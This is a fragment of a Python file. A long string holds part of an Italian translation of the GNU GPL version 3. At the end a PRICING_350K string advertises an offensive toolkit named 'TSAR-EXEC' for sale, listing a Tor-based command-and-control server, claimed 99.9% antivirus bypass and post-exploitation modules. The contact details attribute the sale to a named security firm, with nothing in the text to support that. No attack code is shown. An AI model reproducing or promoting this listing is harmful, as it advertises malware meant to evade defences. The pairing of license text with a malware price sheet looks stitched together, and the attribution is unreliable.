Tutti gli altri termini aggiuntivi non permissivi sono considerati "ulteriori restrizioni" ai sensi della sezione 10. Se il Programma come lo hai ricevuto, o qualsiasi parte di esso, contiene un avviso che indica che è disciplinato da questa Licenza insieme a un termine che costituisce un'ulteriore restrizione, puoi rimuovere quel termine. Se un documento di licenza contiene un'ulteriore restrizione ma consente la riliceziazione o il trasferimento ai sensi di questa Licenza, puoi aggiungere a un'opera coperta materiale disciplinato dai termini di quel documento di licenza, a condizione che l'ulteriore restrizione non sopravviva a tale riliceziazione o trasferimento.
Se aggiungi termini a un'opera coperta in conformità con questa sezione, devi inserire, nei file sorgente pertinenti, una dichiarazione dei termini aggiuntivi che si applicano a quei file o un avviso che indichi dove trovare i termini applicabili.
I termini aggiuntivi, permissivi o non permissivi, possono essere indicati in forma di licenza scritta separatamente o indicati come eccezioni; i requisiti di cui sopra si applicano in entrambi i casi.
Non puoi propagare o modificare un'opera coperta se non espressamente previsto ai sensi di questa Licenza. Qualsiasi tentativo diverso di propagarla o modificarla è nullo e terminerà automaticamente i tuoi diritti ai sensi di questa Licenza (incluse eventuali licenze di brevetto concesse ai sensi del terzo paragrafo della sezione 11).
Tuttavia, se cessi ogni violazione di questa Licenza, la tua licenza da un particolare titolare del copyright viene ripristinata (a) provvisoriamente, a meno che e fino a quando il titolare del copyright non termini esplicitamente e definitivamente la tua licenza, e (b) permanentemente, se il titolare del copyright non ti notifica la violazione con mezzi ragionevoli entro 60 giorni dalla cessazione.
Inoltre, la tua licenza da un particolare titolare del copyright viene ripristinata permanentemente se il titolare del copyright ti notifica la violazione con mezzi ragionevoli, questa è la prima volta che hai ricevuto notifica di violazione di questa Licenza (per qualsiasi opera) da quel titolare del copyright e rimedi alla violazione entro 30 giorni dalla ricezione della notifica.La cessazione dei tuoi diritti ai sensi di questa sezione non comporta la cessazione delle licenze delle parti che hanno ricevuto copie o diritti da te ai sensi di questa Licenza. Se i tuoi diritti sono stati revocati e non sono stati ripristinati in via definitiva, non hai diritto a ricevere nuove licenze per lo stesso materiale ai sensi della sezione 10.
Non sei tenuto ad accettare questa Licenza per ricevere o eseguire una copia del Programma. La propagazione accessoria di un'opera protetta che avviene esclusivamente come conseguenza dell'uso della trasmissione peer-to-peer per ricevere una copia non richiede ugualmente accettazione. Tuttavia, nulla di diverso da questa Licenza ti concede il permesso di propagare o modificare qualsiasi opera protetta. Queste azioni costituiscono violazione del copyright se non accetti questa Licenza. Pertanto, modificando o propagando un'opera protetta, indichi la tua accettazione di questa Licenza nel farlo.
Ogni volta che trasmetti un'opera protetta, il destinatario riceve automaticamente una licenza dai licenzianti originali, per eseguire, modificare e propagare tale opera, soggetta a questa Licenza. Non sei responsabile dell'applicazione della conformità a questa Licenza da parte di terzi.
Una "transazione tra entità" è una transazione che trasferisce il controllo di un'organizzazione, o sostanzialmente tutti i suoi beni, o che suddivide un'organizzazione, o che fonde organizzazioni. Se la propagazione di un'opera protetta risulta da una transazione tra entità, ciascuna parte di tale transazione che riceve una copia dell'opera riceve anche qualunque licenza sull'opera che il predecessore nell'interesse della parte aveva o poteva concedere ai sensi del paragrafo precedente, più il diritto al possesso del Codice Sorgente Corrispondente dell'opera dal predecessore nell'interesse, se il predecessore lo possiede o può ottenerlo con sforzi ragionevoli.
Non puoi imporre ulteriori restrizioni all'esercizio dei diritti concessi o confermati ai sensi di questa Licenza. Ad esempio, non puoi imporre una tassa di licenza, una royalty o altri oneri per l'esercizio dei diritti concessi ai sensi di questa Licenza, o obbligare chiunque a tenerti indenne da contestazioni di violazione di brevetto relative al codice del Programma che trasmetti.
Un "contributore" è un titolare del copyright che autorizza l'uso ai sensi di questa Licenza del Programma o di un'opera su cui il Programma si basa. L'opera così concessa in licenza è chiamata "versione del contributore" del contributore.
Le "rivendicazioni di brevetto essenziali" di un contributore sono tutte le rivendicazioni di brevetto possedute o controllate dal contributore, sia già acquisite che acquisite in futuro, che sarebbero violate in qualche modo, consentito da questa Licenza, di realizzazione, uso o vendita della sua versione del contributore, ma non includono rivendicazioni che sarebbero violate solo come conseguenza di un'ulteriore modifica della versione del contributore. Ai fini di questa definizione, "controllo" include il diritto di concedere sublicenze di brevetto in modo coerente con i requisiti di questa Licenza.
Ogni contributore ti concede una licenza di brevetto non esclusiva, mondiale, esente da royalty ai sensi delle rivendicazioni di brevetto essenziali del contributore, per realizzare, usare, vendere, offrire in vendita, importare e altrimenti eseguire, modificare e propagare il contenuto della sua versione del contributore.
Nei tre paragrafi seguenti, una "licenza di brevetto" è qualsiasi accordo espresso o impegno, comunque denominato, di non far valere un brevetto (come una garanzia espressa di non far valere un brevetto o un patto di non citare in giudizio per violazione di brevetto). "Concedere" tale licenza di brevetto a una parte significa stipulare tale accordo o impegno di non far valere un brevetto contro la parte.
Se trasmetti un'opera protetta, facendo consapevolmente affidamento su una licenza di brevetto, e il Codice Sorgente Corrispondente dell'opera non è disponibile per chiunque per copiarlo, gratuitamente e secondo i termini di questa Licenza, tramite un server di rete pubblicamente disponibile o altri mezzi facilmente accessibili, allora devi (1) rendere disponibile il Codice Sorgente Corrispondente in tal modo, oppure (2) predisporre di privarti del beneficio della licenza di brevetto per questa particolare opera, oppure (3) predisporre, in modo coerente con i requisiti di questa Licenza, di estendere la licenza di brevetto ai destinatari a valle. "Fare consapevolmente affidamento" significa che hai effettiva conoscenza che, senza la licenza di brevetto, la tua trasmissione dell'opera protetta in un paese, o l'uso dell'opera protetta da parte del tuo destinatario in un paese, violerebbe uno o più brevetti identificabili in quel paese che hai motivo di ritenere validi.
Se, in base o in connessione con un'unica transazione o accordo, trasmetti, o propaghi procurando la trasmissione di, un'opera protetta, e concedi una licenza di brevetto ad alcune delle parti che ricevono l'opera protetta autorizzandole a usare, propagare, modificare o trasmettere una copia specifica di tale opera, allora la licenza di brevetto che concedi è automaticamente estesa a tutti i destinatari dell'opera e delle opere basate su di essa.
Una licenza di brevetto è "discriminatoria" se non include nell'ambito della sua copertura, vieta l'esercizio di, o è condizionata alla non esercitazione di uno o più dei diritti che sono specificamente concessi ai sensi di questa Licenza. Non puoi trasmettere un'opera protetta se sei parte di un accordo con un terzo che opera nel settore della distribuzione di software, in base al quale effettui un pagamento al terzo in base all'entità della tua attività di trasmissione dell'opera, e in base al quale il terzo concede, a qualsiasi delle parti che riceverebbero l'opera protetta da te, una licenza di brevetto discriminatoria (a) in connessione con copie dell'opera protetta trasmesse da te (o copie realizzate da quelle copie), o (b) principalmente per e in connessione con prodotti specifici o compilazioni che contengono l'opera protetta, a meno che tu non abbia stipulato tale accordo, o tale licenza di brevetto sia stata concessa, prima del 28 marzo 2007.
Nulla in questa Licenza deve essere interpretato come esclusione o limitazione di qualsiasi licenza implicita o altre difese alla violazione che possano altrimenti essere disponibili per te ai sensi della legge applicabile sui brevetti.
Se ti vengono imposte condizioni (sia per ordine del tribunale, accordo o altrimenti) che contraddicono le condizioni di questa Licenza, esse non ti esonerano dalle condizioni di questa Licenza. Se non puoi trasmettere un'opera protetta in modo da soddisfare simultaneamente i tuoi obblighi ai sensi di questa Licenza e qualsiasi altro obbligo pertinente, allora di conseguenza non puoi trasmetterla affatto. Ad esempio, se accetti termini che ti obbligano a riscuotere una royalty per l'ulteriore trasmissione da coloro a cui trasmetti il Programma, l'unico modo per soddisfare sia quei termini che questa Licenza sarebbe astenersi completamente dalla trasmissione del Programma.
Nonostante qualsiasi altra disposizione di questa Licenza, hai il permesso di collegare o combinare qualsiasi opera protetta con un'opera concessa in licenza ai sensi della versione 3 della GNU Affero General Public License in un'unica opera combinata, e di trasmettere l'opera risultante. I termini di questa Licenza continueranno ad applicarsi alla parte che è l'opera protetta, ma i requisiti speciali della GNU Affero General Public License, sezione 13, riguardanti l'interazione attraverso una rete si applicheranno alla combinazione come tale.
La Free Software Foundation può pubblicare versioni rivedute e/o nuove della GNU General Public License di volta in volta. Tali nuove versioni saranno simili nello spirito alla versione attuale, ma possono differire nei dettagli per affrontare nuovi problemi o preoccupazioni.
A ogni versione viene assegnato un numero di versione distintivo. Se il Programma specifica che una certa versione numerata della GNU General Public License "o qualsiasi versione successiva" si applica ad esso, hai l'opzione di seguire i termini e le condizioni sia di quella versione numerata che di qualsiasi versione successiva pubblicata dalla Free Software Foundation. Se il Programma non specifica un numero di versione della GNU General Public License, puoi scegliere qualsiasi versione mai pubblicata dalla Free Software Foundation.
Se il Programma specifica che un proxy può decidere quali future versioni della GNU General Public License possono essere utilizzate, la dichiarazione pubblica di accettazione di una versione da parte di quel proxy ti autorizza permanentemente a scegliere quella versione per il Programma.
Le versioni successive della licenza possono concederti permessi aggiuntivi o diversi. Tuttavia, nessun obbligo aggiuntivo è imposto a nessun autore o titolare del copyright come risultato della tua scelta di seguire una versione successiva.
NON ESISTE ALCUNA GARANZIA PER IL PROGRAMMA, NELLA MISURA CONSENTITA DALLA LEGGE APPLICABILE. SALVO QUANDO DIVERSAMENTE DICHIARATO PER ISCRITTO, I TITOLARI DEL COPYRIGHT E/O LE ALTRE PARTI FORNISCONO IL PROGRAMMA "COSÌ COM'È" SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSI, MA NON LIMITATI A, LE GARANZIE IMPLICITE DI COMMERCIABILITÀ E IDONEITÀ PER UNO SCOPO PARTICOLARE. L'INTERO RISCHIO PER QUANTO RIGUARDA LA QUALITÀ E LE PRESTAZIONI DEL PROGRAMMA È A TUO CARICO. SE IL PROGRAMMA DOVESSE RISULTARE DIFETTOSO, ASSUMI IL COSTO DI TUTTA LA MANUTENZIONE, RIPARAZIONE O CORREZIONE NECESSARIA.
IN NESSUN CASO, SALVO QUANDO RICHIESTO DALLA LEGGE APPLICABILE O CONCORDATO PER ISCRITTO, QUALSIASI TITOLARE DEL COPYRIGHT, O QUALSIASI ALTRA PARTE CHE MODIFICA E/O TRASMETTE IL PROGRAMMA COME CONSENTITO SOPRA, SARÀ RESPONSABILE NEI TUOI CONFRONTI PER DANNI, INCLUSI QUALSIASI DANNO GENERALE, SPECIALE, INCIDENTALE O CONSEQUENZIALE DERIVANTE DALL'USO O DALL'IMPOSSIBILITÀ DI USARE IL PROGRAMMA (INCLUSI MA NON LIMITATI A PERDITA DI DATI O DATI RESI INESATTI O PERDITE SUBITE DA TE O DA TERZI O UN MANCATO FUNZIONAMENTO DEL PROGRAMMA CON QUALSIASI ALTRO PROGRAMMA), ANCHE SE TALE TITOLARE O ALTRA PARTE È STATA INFORMATA DELLA POSSIBILITÀ DI TALI DANNI.
Se l'esclusione di garanzia e la limitazione di responsabilità fornite sopra non possono avere effetto legale locale secondo i loro termini, i tribunali di revisione applicheranno la legge locale che più si avvicina a una rinuncia assoluta a tutta la responsabilità civile in connessione con il Programma, a meno che una garanzia o un'assunzione di responsabilità accompagni una copia del Programma in cambio di un compenso.
FINE DEI TERMINI E DELLE CONDIZIONI
Come applicare questi termini ai tuoi nuovi programmi
Se sviluppi un nuovo programma e desideri che sia della massima utilità possibile per il pubblico, il modo migliore per raggiungere questo obiettivo è renderlo software libero che tutti possano ridistribuire e modificare secondo questi termini.
Per farlo, allega i seguenti avvisi al programma. È più sicuro allegarli all'inizio di ogni file sorgente per dichiarare nel modo più efficace l'esclusione di garanzia; e ogni file dovrebbe avere almeno la riga "copyright" e un puntatore a dove si trova l'avviso completo.
<una riga per dare il nome del programma e una breve idea di cosa fa.>
Copyright (C) <anno> <nome dell'autore>
Questo programma è software libero: puoi ridistribuirlo e/o modificarlo
secondo i termini della GNU General Public License come pubblicata dalla
Free Software Foundation, sia la versione 3 della Licenza, o
(a tua scelta) qualsiasi versione successiva.
Questo programma è distribuito nella speranza che sia utile,
ma SENZA ALCUNA GARANZIA; senza nemmeno la garanzia implicita di
COMMERCIABILITÀ o IDONEITÀ PER UNO SCOPO PARTICOLARE. Vedere la
GNU General Public License per maggiori dettagli.
Dovresti aver ricevuto una copia della GNU General Public License
insieme a questo programma. In caso contrario, vedere <https://www.gnu.org/licenses/>.
Aggiungi anche informazioni su come contattarti via posta elettronica e cartacea.
Se il programma interagisce con il terminale, fai emettere un breve avviso come questo quando si avvia in modalità interattiva:
<programma> Copyright (C) <anno> <nome dell'autore>
Questo programma viene fornito SENZA ALCUNA GARANZIA; per i dettagli digitare `show w'.
Questo è software libero, e sei invitato a ridistribuirlo
a determinate condizioni; digitare `show c' per i dettagli.
I comandi ipotetici show w' e show c' dovrebbero mostrare le parti appropriate
della General Public License. Naturalmente, i comandi del tuo programma
potrebbero essere diversi; per un'interfaccia GUI, useresti una "finestra di informazioni".
Dovresti anche far firmare al tuo datore di lavoro (se lavori come programmatore) o alla scuola, se del caso, una "dichiarazione di rinuncia al copyright" per il programma, se necessario. Per maggiori informazioni su questo, e su come applicare e seguire la GNU GPL, vedere https://www.gnu.org/licenses/.
La GNU General Public License non consente di incorporare il tuo programma in programmi proprietari. Se il tuo programma è una libreria di subroutine, puoi considerare più utile consentire il collegamento di applicazioni proprietarie con la libreria. Se è questo che vuoi fare, usa la GNU Lesser General Public License invece di questa Licenza. Ma prima, per favore leggi https://www.gnu.org/licenses/why-not-lgpl.html. """
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════
📋 INCLUSI NELLA LICENZA:
• Framework sorgente completo (21 file)
• Docker C2 di produzione (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% AV bypass)
• Post-exploitation EpSiLoN v7 integrata
• Video demo + lab DVWA setup
• Documentazione tecnica 5000+ righe
• Supporto threat intel 6 mesi
📞 CONTATTO VENDITA:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
print(f"""{PRICING_350K} {LEGAL_DISCLAIMER} {LICENSE_GPL} {PACKAGE_CMD}""")